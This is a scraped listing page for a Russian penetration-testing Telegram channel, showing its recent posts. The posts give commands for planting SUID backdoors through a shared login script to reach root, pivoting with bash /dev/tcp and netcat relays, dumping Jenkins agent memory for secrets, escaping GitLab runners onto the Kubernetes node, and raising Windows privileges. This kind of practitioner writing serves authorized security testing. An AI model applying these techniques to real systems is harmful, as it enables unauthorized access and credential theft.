Получи случайную криптовалюту за регистрацию!

Нарыл

Логотип телеграм канала @naryl_sec — Нарыл Н
Логотип телеграм канала @naryl_sec — Нарыл
Адрес канала: @naryl_sec
Категории: Технологии
Язык: Русский
Количество подписчиков: 734
Описание канала:

Канал о практической информационной безопасности. Автор - https://t.me/sorokinpf

Рейтинги и Отзывы

3.50

2 отзыва

Оценить канал naryl_sec и оставить отзыв — могут только зарегестрированные пользователи. Все отзывы проходят модерацию.

5 звезд

0

4 звезд

1

3 звезд

1

2 звезд

0

1 звезд

0


Последние сообщения

2022-09-28 13:37:55 Тут попался мисконфиг, в котором я мог вписать свои команды в один из файлов, которые выполняются для всех логинящихся в linux систему пользователей. Сервак этот использует много народу, кто заранее придет залогиниться я не знал, ловить и коллекционировать reverse shellы было не удобно, прописываться в authorized_keys как то грязно, поэтому я решил использовать схему с SUID бекдорами. Накатал стандартный повышатель привилегий, запихнул его в общедоступную папку и добавил в общий файл с командами примерно следующее:

cp /tmp/bezobidnii_file /home/my_folder/share/`id -u`_test
chmod u+s /home/my_folder/share/`id -u`_test

Соответственно я получал возможность запускать процессы от имени всех зашедших пользователей.
Среди зашедших пользователей со временем появились админы сервера и как оказалось у них были права на sudo без пароля. Вот только из под моих шеллов sudo требовал пароль. Дело оказалось в том, что в sudoers были прописаны не сами админы а группы. А на создаваемые с помощью SUID-битов шеллы переезжали мои группы, а не группы целевого пользователя. Это логично, SUID-бит управляет только uid процесса, gid он никак не касается.

Нужна возможность получить на процесс группу, принадлежащую целевому пользователю, даже если её нет среди текущих групп процесса. И такую возможность предоставляет стандартный newgrp:

newgrp sudo_group
sudo -i


И мы в root-шелле.
288 viewsPavel Sorokin, 10:37
Открыть/Комментировать
2022-08-29 20:27:37 Иногда хочется перенаправить трафик из python кода через Burp. Можно конечно вставлять в опции requests verify=False, и выключать warning с помощью:

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


Но это надо делать каждый раз и не удобно. А есть библиотеки, которые не имеют опции аналогичной verify=False вообще, например jira. Значит придется добавлять сертификат Burp в список даверенных. Тут нужно отметить что python для защиты соедениний с HTTPS ресурсами использует свой список доверенных корневых сертификатов.
Чтобы посмотреть где этот список находится нужно выполнить

import certifi
print(certifi.where())


Далее нам нужно добавить сертификат Burp в формате PEM в указанный файл (в моем случае это /opt/homebrew/lib/python3.9/site-packages/certifi/cacert.pem ).
Сертификат бурпа скачивается с http://burp в формате DER. переводим его в PEM с помощью openssl и добавляем в хранилище питона:

openssl x509 -inform DER -outform PEM -in cacert.der -out cacert.pem
cat cacert.pem >> /opt/homebrew/lib/python3.9/site-packages/certifi/cacert.pem


Все, теперь ошибок и ворнингов доверия к сертификату Burp больше не будет.
580 viewsPavel Sorokin, 17:27
Открыть/Комментировать
2022-08-23 15:24:47 Последнее время я подписался под большим количеством активностей и что-то разумное постить не успеваю. Простите :(.

Но могу рассказать, что одна из этих активностей - это разработка таска для CTFZone. Также я протестировал ряд тасков, и они все крутые! Присоединяйтесь - должно быть очень здорово!

https://ctftime.org/event/1688
624 viewsPavel Sorokin, 12:24
Открыть/Комментировать
2022-07-11 17:05:19 Yii SQL-injection

Тут попалась скуля в Yii, в общем то довольно простая и понятная, но информации по скулям в Yii в инете мало, поэтому кажется что стоит написать.

PHP фремворк Yii использует свою собственную ORM - Yii ActiveRecord.

В этом ORM можно выбирать объекты безопасно:

User::find()->where(['email'=>$email]);
User::find()->where(['IN','user.id',$idList]);


Но также where (а вместе с ним разнообразные andWhere, orWhere и т.д.) может принимать строку, что может привести к скуле при неаккуратном использовании:

User::find()->where("lower(username)=$username")

Хотя вот так тоже все хорошо:

User::find()->where('lower(username)=:username', [':username' => $username])
4.7K viewsPavel Sorokin, 14:05
Открыть/Комментировать
2022-07-06 19:33:37 Бывает так, что мы попали на машину на которой ничего нет для пивотинга (назовем ее compA), и заливать ничего не хочется по не важно какой причине. И нам нужно как-то сходить по TCP на другую машину (compB), которая доступна только с compA с помощью какой-то специфичной софтины, например evil-winrm.

Тогда запивотится можно с помощью одного только bash!

Нам нужна своя тачка, которая доступна по сети для compA, назовем её compH.

На compH открываем два порта и связываем их друг с другом (WinRm использует порт 5985):

mknod backpipe p;
nc -lp 5985 0backpipe


На compA поднимаем два исходящих TCP соединения и тоже связываем их:

exec 3<>/dev/tcp/compB/5985
exec 4<>/dev/tcp/compH/3333
cat <&3 >&4 &
cat <&4 >&3 &



Ну и все, можно теперь делать:

evil-winrm -u cth -i compH
3.2K viewsPavel Sorokin, edited  16:33
Открыть/Комментировать
2022-06-17 09:30:31
При анализе скоупа внешнего пентеста есть задача сбора всех доменнов и поддоменов. Один из возможных шагов - определение известных доменов по имеющимся в скоупе IP-адресам. То есть Reverse DNS.

В решении этой задачи обычный Reverse DNS - резолв PTR-записи - довольно бесполезен. Эту запись используют только при настройке SMTP-серверов и то не всегда.

Но есть базы, хранящие связки домен:IP-адрес всего (или существенной части) Интернета, и позволяющие резолвить в обе стороны. Одна из таких баз - PassiveTotal. Для доступа к API нужно зарегистрироваться и получить ключ на 1000 запросов в месяц.

Для выполнения запросов можно использовать консольный клиент или python библиотеку (1,2)
919 viewsPavel Sorokin, 06:30
Открыть/Комментировать
2022-05-25 15:44:44 Что-то последнее время вообще не было времени, сори за длинную паузу.

Продолжим говорить о CI/CD и в этот раз о Jenkins (хотя частично информация актуальна для любой системы).

Предположим, что мы можем создавать и запускать Job в Jenkins, но при этом исполнение на master node запрещено конфигурацией. А также предположим что часть проектов использует разделяемый ssh-agent.

Поднять свои права в Jenkins в таком случае не получится, однако в такой конфигурации мы можем запускать свои команды на агенте и соответственно влиять на процесс сборки других проектов. Все процессы сборки всех проектов на ssh-agent запускаются от имени одного и того же пользователя (по умолчанию - jenkins). И порождает их общий процесс агента, который запущен из под того же самого пользователя. Соответственно нет никаких ограничений с точки зрения ОС на доступ к сборкам других проектов. Теоретически понятно, что мы можем:
1) читать исходный код, т.к. он скачивается для сборки и какое-то время находится на агенте
2) получить доступ к используемым секретам, ведь они используются при сборке и контроллер Jenkins должен их как-то передавать на агент
3) подменять артефакты сборки, ведь они создаются на агенте и потом как-то отправляются на контроллер

Теперь практически.

Процесс jenkins агента в процессе сборки запускает команды ОС. cmdline создаваемых процессов можно получить, например, с помощью pspy. В параметрах командной строки могут быть пути к директориям в которые делаются git clone (а значит там исходники), а также могут быть секреты.

Также, если разработчики конфигурируют пайплайны не аккуратно, секреты могут оставаться сохраненными на самом агенте. Например, если в процессе сборки выполняется docker login, то вероятно что в /home/jenkins/.docker/config останется пароль в открытом виде (а это дает нам возможность пушить в registry, то есть подменять артефакты). Также может остаться конфигурация в /home/jenkins/.kube/config. Короче, полезно заглянуть в домашний каталог и посмотреть что там лежит.

Часть секретов jenkins агент использует внутри своего процесса и никуда не передает и не сохраняет. Для того чтобы достать такие секреты можно анализировать память процесса jenkins агента. Напоминаю что jenkins написан на Java и копаться в его памяти совсем не так сложно, как может показаться.

Снять heapdump памяти можно такой командой:

jcmd GC.heap_dump /tmp/heapdumpfile.hprof


Секреты храняться в наследниках класса hudson.util.Secret. Дальше анализировать такой дамп можно вручную с помощью jhat или Eclipse Memory Analyzer. Можно пытаться автоматизировать, я делал к этому подход на основе проекта - парсера hprof py-hprof. Но это конечно скорее PoC чем готовая тулза. Также секреты через некоторое время удаляются из памяти агента, так что для того чтобы насобирать секреты нужно продолжительное время постоянно снимать дампы и запускать их анализ.
856 viewsPavel Sorokin, 12:44
Открыть/Комментировать
2022-04-20 14:54:04 И наверно пока что последняя заметка о раннерах Gitlab

Gitlab поддерживает сборку docker с помощью docker и kubernetes executor (еще можно через shell, но там и так все понятно). В обоих случаях в запускаемых джобах становится доступным docker.sock. Для docker executor можно выйти на хост, развивать дальнейшую атаку, лезть в другие пайплайны и т.д. - тут все понятно. https://t.me/naryl_sec/6 - например вот тут обсуждалось.

С kubernetes executor все немного интереснее. Kubernetes создает отдельный docker daemon для каждой выполняемой job. То есть напрямую влиять на соседние job не получится, у каждой job свой персональный инстанс docker. Если попытаться выйти из job на хостовый docker обычным способом через подмонтирование файловой системы "хоста", то окажется что там девственно чистая система в которой нет ничего кроме docker. Но чтобы вся эта конструкция работала "хостовая" ОС запускается как привелигированный контейнер в kubernetes. То есть получается такая трехуровневая история - kubernetes (первый уровень) запускает контейнер с docker daemon (второй уровень), а также запускается контейнер в котором выполняется гитлабовская job (третий уровень), в которую прокинут docker API socket со второго уровня. Атакующий может запустить с помощью проброшенного docker API socket привелигированный контейнер (ну или выйти на "хостовый docker", который также является привелигированным контейнером). А из него уже можно подниматься до куберовской ноды. Например, путем монтирования файловой системы ноды в контейнер:


fdisk -l // Смотрим список устройств
mkdir /mnt/node
mount /dev/<нужное устройство> /mnt/node
785 viewsPavel Sorokin, edited  11:54
Открыть/Комментировать
2022-04-19 15:26:11 Продолжение о раннерах Gitlab

Gitlab поддерживает разные типы executor. В зависимости от типа экзекьютора, выбранного для раннера, мы можем выполнять разные действия.

При использовании shell executor все сборки выполняются напрямую в шелле операционной системы от одного пользователя ОС. Если такой раннер является Shared, то безопасной конфигурации тут не может быть в принципе, по крайней мере я её себе не представляю. Любой кто может использовать такой раннер может создать процесс, который будет следить за всем что происходит на раннере, забирать исходные коды репозиториев, загружаемых на раннер, воровать env-переменные из других процессов. А также можно подменять артефакты сборки, что означает вполне вероятный взлом прода. С практической точки зрения следить за другими процессами удобно с помощью pspy.

В своей практике я встречал shell executor только для Windows раннеров. Выбор экзекьюторов для винды в Gitlab не такой богатый как в linux, так что это можно объяснить. Windows раннер по умолчанию стартует с правами локального администратора, так что находка такого shared runner может быть отправной точкой для атаки на Active Directory.

Windows раннер также можно установать так, чтобы он использовал учетную запись, которая не является локальным админитратором. Но это слабо помогает - процесс раннера стартует как сервис и получает группу NT AUTHORITY\SERVICE, откуда он наследует SeImpersonatePrivilege. А значит на нем можно довольно легко подняться до NT AUTHORITY\SYSTEM используя *Potato (например, SweetPotato) или PrintSpoofer.
640 viewsPavel Sorokin, 12:26
Открыть/Комментировать
2022-04-18 11:50:18 О раннерах Gitlab

В большинстве установок Gitalb которые я видел используются Shared Runners. Shared Runners - это раннеры, которые можно применяться для сборки (ну или произвольного выполнения команд, смотря чьими глазами смотреть на это) в абсолютно любом проекте. Альтернатива шаред раннерам в Gitlab - Specific Runners. Последние могут быть закреплены за группой, проектом или даже только за protected branch в рамках git репозитория.

Для того чтобы посмотреть список доступных Shared Runners нужно создать/зайти в проект и перейти в Settings -> CI/CD -> Runners. Раннеры помечены синими плашками с тегами, с помощью этих тегов можно выбрать себе раннер по душе. Для этого нужно указать параметр tags в описании джобы в .gitlab-ci.yml.

Важно понимать что Gitlab Runner - все разные. И дело не только в списке установленного софта. Конфигурация позволяет добавить environment переменные. А также могут выполняться pre_build_script, или монтироваться volume. И то и другое и третье может использоваться админами для того чтобы добавить раннеру специфичные права. Например, добавляем раннеру тег ansible и подкладываем ему в виде volume ssh-ключ ansible. А как правило это God-Mode ключ, который может все внутри инфраструктуры.

Так что в случае получения доступа в Gitlab очень полезно создать персональный проект и посмотреть environment и подмонтированные файлы всех доступных Shared Runner, можно найти много интересного.
679 viewsedited  08:50
Открыть/Комментировать